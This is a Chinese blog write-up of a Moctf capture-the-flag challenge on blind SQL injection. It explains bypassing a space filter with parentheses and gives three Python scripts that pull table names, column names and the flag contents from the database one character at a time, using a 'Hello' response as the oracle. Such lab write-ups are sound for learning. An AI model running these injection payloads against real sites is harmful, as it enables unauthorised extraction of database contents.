Moctf---简单注入

Posted 2020-10-28 Pinging_Goooooo

因为比较菜诶，所以这道题的命令让我拼接了好久。记录在此

放出url = http://119.23.73.3:5004/

 

打开后我们在后面写?id=1既--> 

当我们输入的信息有误后，页面就没有回显了。

所以我们得到，当命令正确之后，会有hello的回显。

我们在尝试一下，发现他给ban了空格、sub、>等等。但是我们发现其他一些基础的命令没有给ban，比如“ascii,hex,select”等常规命令。所以这里我们就要想办法用其他方法代替空格。这里我们采用()来代替空格。

这里放上payload，大家自己看一看就行

还有下面是python代码

①这个爆表名

import requests
import string
urll = "http://119.23.73.3:5004/?id=1\'and(length(database()))=\'1"
f1 = requests.get(urll)
content = f1.content
s = string.printable
# for i in range(10):
#     url = "http://119.23.73.3:5004/?id=1\'and(length(database()))=\'"+str(i)+""
#     f = requests.get(url)
#     if f.content != content:
#         print f.content
#         print i
url = "http://119.23.73.3:5004/?id=1"
def getData(url):
    r = requests.get(url)
    return r.text
def getTables():
    tables = \'\'
    for i in range(50):
        for j in s:
            url2 = url + "\'and(select(hex(mid(group_concat(table_name)," + str(i+1) + ",1)))from(information_schema.tables)where(table_schema=database()))=\'" + (j).encode(\'hex\')
            #text = getData(url2)
            f = requests.get(url2)
            text = f.text
        
            if \'Hello\' in text:
                tables += j
                #print j
                #print tables
                break
        print tables

我们得到-->

②之后是列名

import requests
import string
urll = "http://119.23.73.3:5004/?id=1\'and(length(database()))=\'1"
f1 = requests.get(urll)
content = f1.content
s = string.printable
# for i in range(10):
#     url = "http://119.23.73.3:5004/?id=1\'and(length(database()))=\'"+str(i)+""
#     f = requests.get(url)
#     if f.content != content:
#         print f.content
#         print i
url = "http://119.23.73.3:5004/?id=1"

def getColumn():
    Column = \'\'
    for i in range(50):
        for j in s:
            url2 = url +      "\'and(select(hex(mid(group_concat(Column_name)," + str(i+1) + ",1)))from(information_schema.columns)where(table_schema=database()and(table_name=\'do_y0u_l1ke_long_t4ble_name\')))=\'" + (j).encode(\'hex\')
            #text = getData(url2)
            f = requests.get(url2)
            text = f.text
        
            if \'Hello\' in text:
                Column += j
                #print j
                #print tables
                break
        print Column

得到结果

 

 ③爆数据

def getContent():
    content = \'\'
    for i in range(50):
        for j in s:
            url2 = url + "\'and(select(hex(mid(group_concat(d0_you_als0_l1ke_very_long_column_name)," + str(i+1) + ",1)))from(do_y0u_l1ke_long_t4ble_name))=\'" + (j).encode(\'hex\')
            #text = getData(url2)
            f = requests.get(url2)
            text = f.text
        
            if \'Hello\' in text:
                content += j
                #print j
                #print tables
                break
        print content

直接接爆出来了。

 

大家在写这个题目的时候一定要注意url2的构造，，，我就是因为空格均为()，所以老搞不清里面的东西。大家写的时候一定要注意哦。。

还有，最后的值可以用hex比较，也可以用ascii比较。